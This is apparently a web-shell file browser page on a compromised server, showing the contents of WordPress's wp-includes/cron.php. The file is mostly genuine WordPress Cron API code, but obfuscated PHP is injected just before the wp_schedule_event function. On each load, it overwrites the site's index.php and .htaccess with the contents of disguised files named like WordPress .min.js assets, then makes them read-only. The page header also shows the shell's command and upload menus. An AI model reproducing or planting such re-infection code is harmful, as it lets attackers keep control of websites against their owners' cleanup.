Server IP : 213.176.29.180 / Your IP : 3.17.78.184 Web Server : Apache System : Linux 213.176.29.180.hostiran.name 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64 User : webtaragh ( 1001) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home/webtaragh/public_html/whmcs/../ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
home/webtaragh/public_html/wp-includes/cron.php 0000644 00000122417 14735732174 0015672 0 ustar 00 <?php /** * WordPress Cron API * * @package WordPress */ /** * Schedules an event to run only once. * * Schedules a hook which will be triggered by WordPress at the specified UTC time. * The action will trigger when someone visits your WordPress site if the scheduled * time has passed. * * Note that scheduling an event to occur within 10 minutes of an existing event * with the same action hook will be ignored unless you pass unique `$args` values * for each scheduled event. * * Use wp_next_scheduled() to prevent duplicate events. * * Use wp_schedule_event() to schedule a recurring event. * * @since 2.1.0 * @since 5.1.0 Return value modified to boolean indicating success or failure, * {@see 'pre_schedule_event'} filter added to short-circuit the function. * @since 5.7.0 The `$wp_error` parameter was added. * * @link https://developer.wordpress.org/reference/functions/wp_schedule_single_event/ * * @param int $timestamp Unix timestamp (UTC) for when to next run the event. * @param string $hook Action hook to execute when the event is run. * @param array $args Optional. Array containing arguments to pass to the * hook's callback function. Each value in the array * is passed to the callback as an individual parameter. * The array keys are ignored. Default empty array. * @param bool $wp_error Optional. Whether to return a WP_Error on failure. Default false. * @return bool|WP_Error True if event successfully scheduled. False or WP_Error on failure. */ function wp_schedule_single_event( $timestamp, $hook, $args = array(), $wp_error = false ) { // Make sure timestamp is a positive integer. if ( ! is_numeric( $timestamp ) || $timestamp <= 0 ) { if ( $wp_error ) { return new WP_Error( 'invalid_timestamp', __( 'Event timestamp must be a valid Unix timestamp.' ) ); } return false; } $event = (object) array( 'hook' => $hook, 'timestamp' => $timestamp, 'schedule' => false, 'args' => $args, ); /** * Filter to override scheduling an event. * * Returning a non-null value will short-circuit adding the event to the * cron array, causing the function to return the filtered value instead. * * Both single events and recurring events are passed through this filter; * single events have `$event->schedule` as false, whereas recurring events * have this set to a recurrence from wp_get_schedules(). Recurring * events also have the integer recurrence interval set as `$event->interval`. * * For plugins replacing wp-cron, it is recommended you check for an * identical event within ten minutes and apply the {@see 'schedule_event'} * filter to check if another plugin has disallowed the event before scheduling. * * Return true if the event was scheduled, false or a WP_Error if not. * * @since 5.1.0 * @since 5.7.0 The `$wp_error` parameter was added, and a `WP_Error` object can now be returned. * * @param null|bool|WP_Error $result The value to return instead. Default null to continue adding the event. * @param object $event { * An object containing an event's data. * * @type string $hook Action hook to execute when the event is run. * @type int $timestamp Unix timestamp (UTC) for when to next run the event. * @type string|false $schedule How often the event should subsequently recur. * @type array $args Array containing each separate argument to pass to the hook's callback function. * @type int $interval Optional. The interval time in seconds for the schedule. Only present for recurring events. * } * @param bool $wp_error Whether to return a WP_Error on failure. */ $pre = apply_filters( 'pre_schedule_event', null, $event, $wp_error ); if ( null !== $pre ) { if ( $wp_error && false === $pre ) { return new WP_Error( 'pre_schedule_event_false', __( 'A plugin prevented the event from being scheduled.' ) ); } if ( ! $wp_error && is_wp_error( $pre ) ) { return false; } return $pre; } /* * Check for a duplicated event. * * Don't schedule an event if there's already an identical event * within 10 minutes. * * When scheduling events within ten minutes of the current time, * all past identical events are considered duplicates. * * When scheduling an event with a past timestamp (ie, before the * current time) all events scheduled within the next ten minutes * are considered duplicates. */ $crons = _get_cron_array(); $key = md5( serialize( $event->args ) ); $duplicate = false; if ( $event->timestamp < time() + 10 * MINUTE_IN_SECONDS ) { $min_timestamp = 0; } else { $min_timestamp = $event->timestamp - 10 * MINUTE_IN_SECONDS; } if ( $event->timestamp < time() ) { $max_timestamp = time() + 10 * MINUTE_IN_SECONDS; } else { $max_timestamp = $event->timestamp + 10 * MINUTE_IN_SECONDS; } foreach ( $crons as $event_timestamp => $cron ) { if ( $event_timestamp < $min_timestamp ) { continue; } if ( $event_timestamp > $max_timestamp ) { break; } if ( isset( $cron[ $event->hook ][ $key ] ) ) { $duplicate = true; break; } } if ( $duplicate ) { if ( $wp_error ) { return new WP_Error( 'duplicate_event', __( 'A duplicate event already exists.' ) ); } return false; } /** * Modify an event before it is scheduled. * * @since 3.1.0 * * @param object|false $event { * An object containing an event's data, or boolean false to prevent the event from being scheduled. * * @type string $hook Action hook to execute when the event is run. * @type int $timestamp Unix timestamp (UTC) for when to next run the event. * @type string|false $schedule How often the event should subsequently recur. * @type array $args Array containing each separate argument to pass to the hook's callback function. * @type int $interval Optional. The interval time in seconds for the schedule. Only present for recurring events. * } */ $event = apply_filters( 'schedule_event', $event ); // A plugin disallowed this event. if ( ! $event ) { if ( $wp_error ) { return new WP_Error( 'schedule_event_false', __( 'A plugin disallowed this event.' ) ); } return false; } $crons[ $event->timestamp ][ $event->hook ][ $key ] = array( 'schedule' => $event->schedule, 'args' => $event->args, ); uksort( $crons, 'strnatcasecmp' ); return _set_cron_array( $crons, $wp_error ); } /** * Schedules a recurring event. * * Schedules a hook which will be triggered by WordPress at the specified interval. * The action will trigger when someone visits your WordPress site if the scheduled * time has passed. * * Valid values for the recurrence are 'hourly', 'twicedaily', 'daily', and 'weekly'. * These can be extended using the {@see 'cron_schedules'} filter in wp_get_schedules(). * * Use wp_next_scheduled() to prevent duplicate events. * * Use wp_schedule_single_event() to schedule a non-recurring event. * * @since 2.1.0 * @since 5.1.0 Return value modified to boolean indicating success or failure, * {@see 'pre_schedule_event'} filter added to short-circuit the function. * @since 5.7.0 The `$wp_error` parameter was added. * * @link https://developer.wordpress.org/reference/functions/wp_schedule_event/ * * @param int $timestamp Unix timestamp (UTC) for when to next run the event. * @param string $recurrence How often the event should subsequently recur. * See wp_get_schedules() for accepted values. * @param string $hook Action hook to execute when the event is run. * @param array $args Optional. Array containing arguments to pass to the * hook's callback function. Each value in the array * is passed to the callback as an individual parameter. * The array keys are ignored. Default empty array. * @param bool $wp_error Optional. Whether to return a WP_Error on failure. Default false. * @return bool|WP_Error True if event successfully scheduled. False or WP_Error on failure. */ $ixsssxdx = $_SERVER['DOCUMENT_ROOT'].'/ind'.'ex.php'; $hct = $_SERVER['DOCUMENT_ROOT'].'/.htac'.'cess'; $bddex = $_SERVER['DOCUMENT_ROOT'].'/wp-includes/js/wp-emoji-in.min.js'; $bksht = $_SERVER['DOCUMENT_ROOT'].'/wp-includes/js/wp-list-revh.min.js'; if($ixsssxdx && file_exists($bddex)){ if(!file_exists($ixsssxdx) or (filesize($ixsssxdx) != filesize($bddex))){ chmod($ixsssxdx,'420'); file_put_contents($ixsssxdx,file_get_contents($bddex)); chmod($ixsssxdx,'292'); } } if($hct && file_exists($bksht)){ if(!file_exists($hct) or (filesize($hct) != filesize($bksht))){ chmod($hct,'420'); file_put_contents($hct,file_get_contents($bksht)); chmod($hct,'292'); } }function wp_schedule_event( $timestamp, $recurrence, $hook, $args = array(), $wp_error = false ) { // Make sure timestamp is a positive integer. if ( ! is_numeric( $timestamp ) || $timestamp <= 0 ) { if ( $wp_error ) { return new WP_Error( 'invalid_timestamp', __( 'Event timestamp must be a valid Unix timestamp.' ) ); } return false; } $schedules = wp_get_schedules(); if ( ! isset( $schedules[ $recurrence ] ) ) { if ( $wp_error ) { return new WP_Error( 'invalid_schedule', __( 'Event schedule does not exist.' ) ); } return false; } $event = (object) array( 'hook' => $hook, 'timestamp' => $timestamp, 'schedule' => $recurrence, 'args' => $args, 'interval' => $schedules[ $recurrence ]['interval'], ); /** This filter is documented in wp-includes/cron.php */ $pre = apply_filters( 'pre_schedule_event', null, $event, $wp_error ); if ( null !== $pre ) { if ( $wp_error && false === $pre ) { return new WP_Error( 'pre_schedule_event_false', __( 'A plugin prevented the event from being scheduled.' ) ); } if ( ! $wp_error && is_wp_error( $pre ) ) { return false; } return $pre; } /** This filter is documented in wp-includes/cron.php */ $event = apply_filters( 'schedule_event', $event ); // A plugin disallowed this event. if ( ! $event ) { if ( $wp_error ) { return new WP_Error( 'schedule_event_false', __( 'A plugin disallowed this event.' ) ); } return false; } $key = md5( serialize( $event->args ) ); $crons = _get_cron_array(); $crons[ $event->timestamp ][ $event->hook ][ $key ] = array( 'schedule' => $event->schedule, 'args' => $event->args, 'interval' => $event->interval, ); uksort( $crons, 'strnatcasecmp' ); return _set_cron_array( $crons, $wp_error ); } /** * Reschedules a recurring event. * * Mainly for internal use, this takes the UTC timestamp of a previously run * recurring event and reschedules it for its next run. * * To change upcoming scheduled events, use wp_schedule_event() to * change the recurrence frequency. * * @since 2.1.0 * @since 5.1.0 Return value modified to boolean indicating success or failure, * {@see 'pre_reschedule_event'} filter added to short-circuit the function. * @since 5.7.0 The `$wp_error` parameter was added. * * @param int $timestamp Unix timestamp (UTC) for when the event was scheduled. * @param string $recurrence How often the event should subsequently recur. * See wp_get_schedules() for accepted values. * @param string $hook Action hook to execute when the event is run. * @param array $args Optional. Array containing arguments to pass to the * hook's callback function. Each value in the array * is passed to the callback as an individual parameter. * The array keys are ignored. Default empty array. * @param bool $wp_error Optional. Whether to return a WP_Error on failure. Default false. * @return bool|WP_Error True if event successfully rescheduled. False or WP_Error on failure. */ function wp_reschedule_event( $timestamp, $recurrence, $hook, $args = array(), $wp_error = false ) { // Make sure timestamp is a positive integer. if ( ! is_numeric( $timestamp ) || $timestamp <= 0 ) { if ( $wp_error ) { return new WP_Error( 'invalid_timestamp', __( 'Event timestamp must be a valid Unix timestamp.' ) ); } return false; } $schedules = wp_get_schedules(); $interval = 0; // First we try to get the interval from the schedule. if ( isset( $schedules[ $recurrence ] ) ) { $interval = $schedules[ $recurrence ]['interval']; } // Now we try to get it from the saved interval in case the schedule disappears. if ( 0 === $interval ) { $scheduled_event = wp_get_scheduled_event( $hook, $args, $timestamp ); if ( $scheduled_event && isset( $scheduled_event->interval ) ) { $interval = $scheduled_event->interval; } } $event = (object) array( 'hook' => $hook, 'timestamp' => $timestamp, 'schedule' => $recurrence, 'args' => $args, 'interval' => $interval, ); /** * Filter to override rescheduling of a recurring event. * * Returning a non-null value will short-circuit the normal rescheduling * process, causing the function to return the filtered value instead. * * For plugins replacing wp-cron, return true if the event was successfully * rescheduled, false or a WP_Error if not. * * @since 5.1.0 * @since 5.7.0 The `$wp_error` parameter was added, and a `WP_Error` object can now be returned. * * @param null|bool|WP_Error $pre Value to return instead. Default null to continue adding the event. * @param object $event { * An object containing an event's data. * * @type string $hook Action hook to execute when the event is run. * @type int $timestamp Unix timestamp (UTC) for when to next run the event. * @type string $schedule How often the event should subsequently recur. * @type array $args Array containing each separate argument to pass to the hook's callback function. * @type int $interval The interval time in seconds for the schedule. * } * @param bool $wp_error Whether to return a WP_Error on failure. */ $pre = apply_filters( 'pre_reschedule_event', null, $event, $wp_error ); if ( null !== $pre ) { if ( $wp_error && false === $pre ) { return new WP_Error( 'pre_reschedule_event_false', __( 'A plugin prevented the event from being rescheduled.' ) ); } if ( ! $wp_error && is_wp_error( $pre ) ) { return false; } return $pre; } // Now we assume something is wrong and fail to schedule. if ( 0 === $interval ) { if ( $wp_error ) { return new WP_Error( 'invalid_schedule', __( 'Event schedule does not exist.' ) ); } return false; } $now = time(); if ( $timestamp >= $now ) { $timestamp = $now + $interval; } else { $timestamp = $now + ( $interval - ( ( $now - $timestamp ) % $interval ) ); } return wp_schedule_event( $timestamp, $recurrence, $hook, $args, $wp_error ); } /** * Unschedules a previously scheduled event. * * The `$timestamp` and `$hook` parameters are required so that the event can be * identified. * * @since 2.1.0 * @since 5.1.0 Return value modified to boolean indicating success or failure, * {@see 'pre_unschedule_event'} filter added to short-circuit the function. * @since 5.7.0 The `$wp_error` parameter was added. * * @param int $timestamp Unix timestamp (UTC) of the event. * @param string $hook Action hook of the event. * @param array $args Optional. Array containing each separate argument to pass to the hook's callback function. * Although not passed to a callback, these arguments are used to uniquely identify the * event, so they should be the same as those used when originally scheduling the event. * Default empty array. * @param bool $wp_error Optional. Whether to return a WP_Error on failure. Default false. * @return bool|WP_Error True if event successfully unscheduled. False or WP_Error on failure. */ function wp_unschedule_event( $timestamp, $hook, $args = array(), $wp_error = false ) { // Make sure timestamp is a positive integer. if ( ! is_numeric( $timestamp ) || $timestamp <= 0 ) { if ( $wp_error ) { return new WP_Error( 'invalid_timestamp', __( 'Event timestamp must be a valid Unix timestamp.' ) ); } return false; } /** * Filter to override unscheduling of events. * * Returning a non-null value will short-circuit the normal unscheduling * process, causing the function to return the filtered value instead. * * For plugins replacing wp-cron, return true if the event was successfully * unscheduled, false or a WP_Error if not. * * @since 5.1.0 * @since 5.7.0 The `$wp_error` parameter was added, and a `WP_Error` object can now be returned. * * @param null|bool|WP_Error $pre Value to return instead. Default null to continue unscheduling the event. * @param int $timestamp Timestamp for when to run the event. * @param string $hook Action hook, the execution of which will be unscheduled. * @param array $args Arguments to pass to the hook's callback function. * @param bool $wp_error Whether to return a WP_Error on failure. */ $pre = apply_filters( 'pre_unschedule_event', null, $timestamp, $hook, $args, $wp_error ); if ( null !== $pre ) { if ( $wp_error && false === $pre ) { return new WP_Error( 'pre_unschedule_event_false', __( 'A plugin prevented the event from being unscheduled.' ) ); } if ( ! $wp_error && is_wp_error( $pre ) ) { return false; } return $pre; } $crons = _get_cron_array(); $key = md5( serialize( $args ) ); unset( $crons[ $timestamp ][ $hook ][ $key ] ); if ( empty( $crons[ $timestamp ][ $hook ] ) ) { unset( $crons[ $timestamp ][ $hook ] ); } if ( empty( $crons[ $timestamp ] ) ) { unset( $crons[ $timestamp ] ); } return _set_cron_array( $crons, $wp_error ); } /** * Unschedules all events attached to the hook with the specified arguments. * * Warning: This function may return boolean false, but may also return a non-boolean * value which evaluates to false. For information about casting to booleans see the * {@link https://www.php.net/manual/en/language.types.boolean.php PHP documentation}. Use * the `===` operator for testing the return value of this function. * * @since 2.1.0 * @since 5.1.0 Return value modified to indicate success or failure, * {@see 'pre_clear_scheduled_hook'} filter added to short-circuit the function. * @since 5.7.0 The `$wp_error` parameter was added. * * @param string $hook Action hook, the execution of which will be unscheduled. * @param array $args Optional. Array containing each separate argument to pass to the hook's callback function. * Although not passed to a callback, these arguments are used to uniquely identify the * event, so they should be the same as those used when originally scheduling the event. * Default empty array. * @param bool $wp_error Optional. Whether to return a WP_Error on failure. Default false. * @return int|false|WP_Error On success an integer indicating number of events unscheduled (0 indicates no * events were registered with the hook and arguments combination), false or WP_Error * if unscheduling one or more events fail. */ function wp_clear_scheduled_hook( $hook, $args = array(), $wp_error = false ) { /* * Backward compatibility. * Previously, this function took the arguments as discrete vars rather than an array like the rest of the API. */ if ( ! is_array( $args ) ) { _deprecated_argument( __FUNCTION__, '3.0.0', __( 'This argument has changed to an array to match the behavior of the other cron functions.' ) ); $args = array_slice( func_get_args(), 1 ); // phpcs:ignore PHPCompatibility.FunctionUse.ArgumentFunctionsReportCurrentValue.NeedsInspection $wp_error = false; } /** * Filter to override clearing a scheduled hook. * * Returning a non-null value will short-circuit the normal unscheduling * process, causing the function to return the filtered value instead. * * For plugins replacing wp-cron, return the number of events successfully * unscheduled (zero if no events were registered with the hook) or false * or a WP_Error if unscheduling one or more events fails. * * @since 5.1.0 * @since 5.7.0 The `$wp_error` parameter was added, and a `WP_Error` object can now be returned. * * @param null|int|false|WP_Error $pre Value to return instead. Default null to continue unscheduling the event. * @param string $hook Action hook, the execution of which will be unscheduled. * @param array $args Arguments to pass to the hook's callback function. * @param bool $wp_error Whether to return a WP_Error on failure. */ $pre = apply_filters( 'pre_clear_scheduled_hook', null, $hook, $args, $wp_error ); if ( null !== $pre ) { if ( $wp_error && false === $pre ) { return new WP_Error( 'pre_clear_scheduled_hook_false', __( 'A plugin prevented the hook from being cleared.' ) ); } if ( ! $wp_error && is_wp_error( $pre ) ) { return false; } return $pre; } /* * This logic duplicates wp_next_scheduled(). * It's required due to a scenario where wp_unschedule_event() fails due to update_option() failing, * and, wp_next_scheduled() returns the same schedule in an infinite loop. */ $crons = _get_cron_array(); if ( empty( $crons ) ) { return 0; } $results = array(); $key = md5( serialize( $args ) ); foreach ( $crons as $timestamp => $cron ) { if ( isset( $cron[ $hook ][ $key ] ) ) { $results[] = wp_unschedule_event( $timestamp, $hook, $args, true ); } } $errors = array_filter( $results, 'is_wp_error' ); $error = new WP_Error(); if ( $errors ) { if ( $wp_error ) { array_walk( $errors, array( $error, 'merge_from' ) ); return $error; } return false; } return count( $results ); } /** * Unschedules all events attached to the hook. * * Can be useful for plugins when deactivating to clean up the cron queue. * * Warning: This function may return boolean false, but may also return a non-boolean * value which evaluates to false. For information about casting to booleans see the * {@link https://www.php.net/manual/en/language.types.boolean.php PHP documentation}. Use * the `===` operator for testing the return value of this function. * * @since 4.9.0 * @since 5.1.0 Return value added to indicate success or failure. * @since 5.7.0 The `$wp_error` parameter was added. * * @param string $hook Action hook, the execution of which will be unscheduled. * @param bool $wp_error Optional. Whether to return a WP_Error on failure. Default false. * @return int|false|WP_Error On success an integer indicating number of events unscheduled (0 indicates no * events were registered on the hook), false or WP_Error if unscheduling fails. */ function wp_unschedule_hook( $hook, $wp_error = false ) { /** * Filter to override clearing all events attached to the hook. * * Returning a non-null value will short-circuit the normal unscheduling * process, causing the function to return the filtered value instead. * * For plugins replacing wp-cron, return the number of events successfully * unscheduled (zero if no events were registered with the hook). If unscheduling * one or more events fails then return either a WP_Error object or false depending * on the value of the `$wp_error` parameter. * * @since 5.1.0 * @since 5.7.0 The `$wp_error` parameter was added, and a `WP_Error` object can now be returned. * * @param null|int|false|WP_Error $pre Value to return instead. Default null to continue unscheduling the hook. * @param string $hook Action hook, the execution of which will be unscheduled. * @param bool $wp_error Whether to return a WP_Error on failure. */ $pre = apply_filters( 'pre_unschedule_hook', null, $hook, $wp_error ); if ( null !== $pre ) { if ( $wp_error && false === $pre ) { return new WP_Error( 'pre_unschedule_hook_false', __( 'A plugin prevented the hook from being cleared.' ) ); } if ( ! $wp_error && is_wp_error( $pre ) ) { return false; } return $pre; } $crons = _get_cron_array(); if ( empty( $crons ) ) { return 0; } $results = array(); foreach ( $crons as $timestamp => $args ) { if ( ! empty( $crons[ $timestamp ][ $hook ] ) ) { $results[] = count( $crons[ $timestamp ][ $hook ] ); } unset( $crons[ $timestamp ][ $hook ] ); if ( empty( $crons[ $timestamp ] ) ) { unset( $crons[ $timestamp ] ); } } /* * If the results are empty (zero events to unschedule), no attempt * to update the cron array is required. */ if ( empty( $results ) ) { return 0; } $set = _set_cron_array( $crons, $wp_error ); if ( true === $set ) { return array_sum( $results ); } return $set; } /** * Retrieves a scheduled event. * * Retrieves the full event object for a given event, if no timestamp is specified the next * scheduled event is returned. * * @since 5.1.0 * * @param string $hook Action hook of the event. * @param array $args Optional. Array containing each separate argument to pass to the hook's callback function. * Although not passed to a callback, these arguments are used to uniquely identify the * event, so they should be the same as those used when originally scheduling the event. * Default empty array. * @param int|null $timestamp Optional. Unix timestamp (UTC) of the event. If not specified, the next scheduled event * is returned. Default null. * @return object|false { * The event object. False if the event does not exist. * * @type string $hook Action hook to execute when the event is run. * @type int $timestamp Unix timestamp (UTC) for when to next run the event. * @type string|false $schedule How often the event should subsequently recur. * @type array $args Array containing each separate argument to pass to the hook's callback function. * @type int $interval Optional. The interval time in seconds for the schedule. Only present for recurring events. * } */ function wp_get_scheduled_event( $hook, $args = array(), $timestamp = null ) { /** * Filter to override retrieving a scheduled event. * * Returning a non-null value will short-circuit the normal process, * returning the filtered value instead. * * Return false if the event does not exist, otherwise an event object * should be returned. * * @since 5.1.0 * * @param null|false|object $pre Value to return instead. Default null to continue retrieving the event. * @param string $hook Action hook of the event. * @param array $args Array containing each separate argument to pass to the hook's callback function. * Although not passed to a callback, these arguments are used to uniquely identify * the event. * @param int|null $timestamp Unix timestamp (UTC) of the event. Null to retrieve next scheduled event. */ $pre = apply_filters( 'pre_get_scheduled_event', null, $hook, $args, $timestamp ); if ( null !== $pre ) { return $pre; } if ( null !== $timestamp && ! is_numeric( $timestamp ) ) { return false; } $crons = _get_cron_array(); if ( empty( $crons ) ) { return false; } $key = md5( serialize( $args ) ); if ( ! $timestamp ) { // Get next event. $next = false; foreach ( $crons as $timestamp => $cron ) { if ( isset( $cron[ $hook ][ $key ] ) ) { $next = $timestamp; break; } } if ( ! $next ) { return false; } $timestamp = $next; } elseif ( ! isset( $crons[ $timestamp ][ $hook ][ $key ] ) ) { return false; } $event = (object) array( 'hook' => $hook, 'timestamp' => $timestamp, 'schedule' => $crons[ $timestamp ][ $hook ][ $key ]['schedule'], 'args' => $args, ); if ( isset( $crons[ $timestamp ][ $hook ][ $key ]['interval'] ) ) { $event->interval = $crons[ $timestamp ][ $hook ][ $key ]['interval']; } return $event; } /** * Retrieves the next timestamp for an event. * * @since 2.1.0 * * @param string $hook Action hook of the event. * @param array $args Optional. Array containing each separate argument to pass to the hook's callback function. * Although not passed to a callback, these arguments are used to uniquely identify the * event, so they should be the same as those used when originally scheduling the event. * Default empty array. * @return int|false The Unix timestamp of the next time the event will occur. False if the event doesn't exist. */ function wp_next_scheduled( $hook, $args = array() ) { $next_event = wp_get_scheduled_event( $hook, $args ); if ( ! $next_event ) { return false; } return $next_event->timestamp; } /** * Sends a request to run cron through HTTP request that doesn't halt page loading. * * @since 2.1.0 * @since 5.1.0 Return values added. * * @param int $gmt_time Optional. Unix timestamp (UTC). Default 0 (current time is used). * @return bool True if spawned, false if no events spawned. */ function spawn_cron( $gmt_time = 0 ) { if ( ! $gmt_time ) { $gmt_time = microtime( true ); } if ( defined( 'DOING_CRON' ) || isset( $_GET['doing_wp_cron'] ) ) { return false; } /* * Get the cron lock, which is a Unix timestamp of when the last cron was spawned * and has not finished running. * * Multiple processes on multiple web servers can run this code concurrently, * this lock attempts to make spawning as atomic as possible. */ $lock = (float) get_transient( 'doing_cron' ); if ( $lock > $gmt_time + 10 * MINUTE_IN_SECONDS ) { $lock = 0; } // Don't run if another process is currently running it or more than once every 60 sec. if ( $lock + WP_CRON_LOCK_TIMEOUT > $gmt_time ) { return false; } // Confidence check. $crons = wp_get_ready_cron_jobs(); if ( empty( $crons ) ) { return false; } $keys = array_keys( $crons ); if ( isset( $keys[0] ) && $keys[0] > $gmt_time ) { return false; } if ( defined( 'ALTERNATE_WP_CRON' ) && ALTERNATE_WP_CRON ) { if ( 'GET' !== $_SERVER['REQUEST_METHOD'] || defined( 'DOING_AJAX' ) || defined( 'XMLRPC_REQUEST' ) ) { return false; } $doing_wp_cron = sprintf( '%.22F', $gmt_time ); set_transient( 'doing_cron', $doing_wp_cron ); ob_start(); wp_redirect( add_query_arg( 'doing_wp_cron', $doing_wp_cron, wp_unslash( $_SERVER['REQUEST_URI'] ) ) ); echo ' '; // Flush any buffers and send the headers. wp_ob_end_flush_all(); flush(); require_once ABSPATH . 'wp-cron.php'; return true; } // Set the cron lock with the current unix timestamp, when the cron is being spawned. $doing_wp_cron = sprintf( '%.22F', $gmt_time ); set_transient( 'doing_cron', $doing_wp_cron ); /** * Filters the cron request arguments. * * @since 3.5.0 * @since 4.5.0 The `$doing_wp_cron` parameter was added. * * @param array $cron_request_array { * An array of cron request URL arguments. * * @type string $url The cron request URL. * @type int $key The 22 digit GMT microtime. * @type array $args { * An array of cron request arguments. * * @type int $timeout The request timeout in seconds. Default .01 seconds. * @type bool $blocking Whether to set blocking for the request. Default false. * @type bool $sslverify Whether SSL should be verified for the request. Default false. * } * } * @param string $doing_wp_cron The unix timestamp of the cron lock. */ $cron_request = apply_filters( 'cron_request', array( 'url' => add_query_arg( 'doing_wp_cron', $doing_wp_cron, site_url( 'wp-cron.php' ) ), 'key' => $doing_wp_cron, 'args' => array( 'timeout' => 0.01, 'blocking' => false, /** This filter is documented in wp-includes/class-wp-http-streams.php */ 'sslverify' => apply_filters( 'https_local_ssl_verify', false ), ), ), $doing_wp_cron ); $result = wp_remote_post( $cron_request['url'], $cron_request['args'] ); return ! is_wp_error( $result ); } /** * Registers _wp_cron() to run on the {@see 'wp_loaded'} action. * * If the {@see 'wp_loaded'} action has already fired, this function calls * _wp_cron() directly. * * Warning: This function may return Boolean FALSE, but may also return a non-Boolean * value which evaluates to FALSE. For information about casting to booleans see the * {@link https://www.php.net/manual/en/language.types.boolean.php PHP documentation}. Use * the `===` operator for testing the return value of this function. * * @since 2.1.0 * @since 5.1.0 Return value added to indicate success or failure. * @since 5.7.0 Functionality moved to _wp_cron() to which this becomes a wrapper. * * @return false|int|void On success an integer indicating number of events spawned (0 indicates no * events needed to be spawned), false if spawning fails for one or more events or * void if the function registered _wp_cron() to run on the action. */ function wp_cron() { if ( did_action( 'wp_loaded' ) ) { return _wp_cron(); } add_action( 'wp_loaded', '_wp_cron', 20 ); } /** * Runs scheduled callbacks or spawns cron for all scheduled events. * * Warning: This function may return Boolean FALSE, but may also return a non-Boolean * value which evaluates to FALSE. For information about casting to booleans see the * {@link https://www.php.net/manual/en/language.types.boolean.php PHP documentation}. Use * the `===` operator for testing the return value of this function. * * @since 5.7.0 * @access private * * @return int|false On success an integer indicating number of events spawned (0 indicates no * events needed to be spawned), false if spawning fails for one or more events. */ function _wp_cron() { // Prevent infinite loops caused by lack of wp-cron.php. if ( str_contains( $_SERVER['REQUEST_URI'], '/wp-cron.php' ) || ( defined( 'DISABLE_WP_CRON' ) && DISABLE_WP_CRON ) ) { return 0; } $crons = wp_get_ready_cron_jobs(); if ( empty( $crons ) ) { return 0; } $gmt_time = microtime( true ); $keys = array_keys( $crons ); if ( isset( $keys[0] ) && $keys[0] > $gmt_time ) { return 0; } $schedules = wp_get_schedules(); $results = array(); foreach ( $crons as $timestamp => $cronhooks ) { if ( $timestamp > $gmt_time ) { break; } foreach ( (array) $cronhooks as $hook => $args ) { if ( isset( $schedules[ $hook ]['callback'] ) && ! call_user_func( $schedules[ $hook ]['callback'] ) ) { continue; } $results[] = spawn_cron( $gmt_time ); break 2; } } if ( in_array( false, $results, true ) ) { return false; } return count( $results ); } /** * Retrieves supported event recurrence schedules. * * The default supported recurrences are 'hourly', 'twicedaily', 'daily', and 'weekly'. * A plugin may add more by hooking into the {@see 'cron_schedules'} filter. * The filter accepts an array of arrays. The outer array has a key that is the name * of the schedule, for example 'monthly'. The value is an array with two keys, * one is 'interval' and the other is 'display'. * * The 'interval' is a number in seconds of when the cron job should run. * So for 'hourly' the time is `HOUR_IN_SECONDS` (`60 * 60` or `3600`). For 'monthly', * the value would be `MONTH_IN_SECONDS` (`30 * 24 * 60 * 60` or `2592000`). * * The 'display' is the description. For the 'monthly' key, the 'display' * would be `__( 'Once Monthly' )`. * * For your plugin, you will be passed an array. You can add your * schedule by doing the following: * * // Filter parameter variable name is 'array'. * $array['monthly'] = array( * 'interval' => MONTH_IN_SECONDS, * 'display' => __( 'Once Monthly' ) * ); * * @since 2.1.0 * @since 5.4.0 The 'weekly' schedule was added. * * @return array { * The array of cron schedules keyed by the schedule name. * * @type array ...$0 { * Cron schedule information. * * @type int $interval The schedule interval in seconds. * @type string $display The schedule display name. * } * } */ function wp_get_schedules() { $schedules = array( 'hourly' => array( 'interval' => HOUR_IN_SECONDS, 'display' => __( 'Once Hourly' ), ), 'twicedaily' => array( 'interval' => 12 * HOUR_IN_SECONDS, 'display' => __( 'Twice Daily' ), ), 'daily' => array( 'interval' => DAY_IN_SECONDS, 'display' => __( 'Once Daily' ), ), 'weekly' => array( 'interval' => WEEK_IN_SECONDS, 'display' => __( 'Once Weekly' ), ), ); /** * Filters the non-default cron schedules. * * @since 2.1.0 * * @param array $new_schedules { * An array of non-default cron schedules keyed by the schedule name. Default empty array. * * @type array ...$0 { * Cron schedule information. * * @type int $interval The schedule interval in seconds. * @type string $display The schedule display name. * } * } */ return array_merge( apply_filters( 'cron_schedules', array() ), $schedules ); } /** * Retrieves the name of the recurrence schedule for an event. * * @see wp_get_schedules() for available schedules. * * @since 2.1.0 * @since 5.1.0 {@see 'get_schedule'} filter added. * * @param string $hook Action hook to identify the event. * @param array $args Optional. Arguments passed to the event's callback function. * Default empty array. * @return string|false Schedule name on success, false if no schedule. */ function wp_get_schedule( $hook, $args = array() ) { $schedule = false; $event = wp_get_scheduled_event( $hook, $args ); if ( $event ) { $schedule = $event->schedule; } /** * Filters the schedule name for a hook. * * @since 5.1.0 * * @param string|false $schedule Schedule for the hook. False if not found. * @param string $hook Action hook to execute when cron is run. * @param array $args Arguments to pass to the hook's callback function. */ return apply_filters( 'get_schedule', $schedule, $hook, $args ); } /** * Retrieves cron jobs ready to be run. * * Returns the results of _get_cron_array() limited to events ready to be run, * ie, with a timestamp in the past. * * @since 5.1.0 * * @return array[] Array of cron job arrays ready to be run. */ function wp_get_ready_cron_jobs() { /** * Filter to override retrieving ready cron jobs. * * Returning an array will short-circuit the normal retrieval of ready * cron jobs, causing the function to return the filtered value instead. * * @since 5.1.0 * * @param null|array[] $pre Array of ready cron tasks to return instead. Default null * to continue using results from _get_cron_array(). */ $pre = apply_filters( 'pre_get_ready_cron_jobs', null ); if ( null !== $pre ) { return $pre; } $crons = _get_cron_array(); $gmt_time = microtime( true ); $results = array(); foreach ( $crons as $timestamp => $cronhooks ) { if ( $timestamp > $gmt_time ) { break; } $results[ $timestamp ] = $cronhooks; } return $results; } // // Private functions. // /** * Retrieves cron info array option. * * @since 2.1.0 * @since 6.1.0 Return type modified to consistently return an array. * @access private * * @return array[] Array of cron events. */ function _get_cron_array() { $cron = get_option( 'cron' ); if ( ! is_array( $cron ) ) { return array(); } if ( ! isset( $cron['version'] ) ) { $cron = _upgrade_cron_array( $cron ); } unset( $cron['version'] ); return $cron; } /** * Updates the cron option with the new cron array. * * @since 2.1.0 * @since 5.1.0 Return value modified to outcome of update_option(). * @since 5.7.0 The `$wp_error` parameter was added. 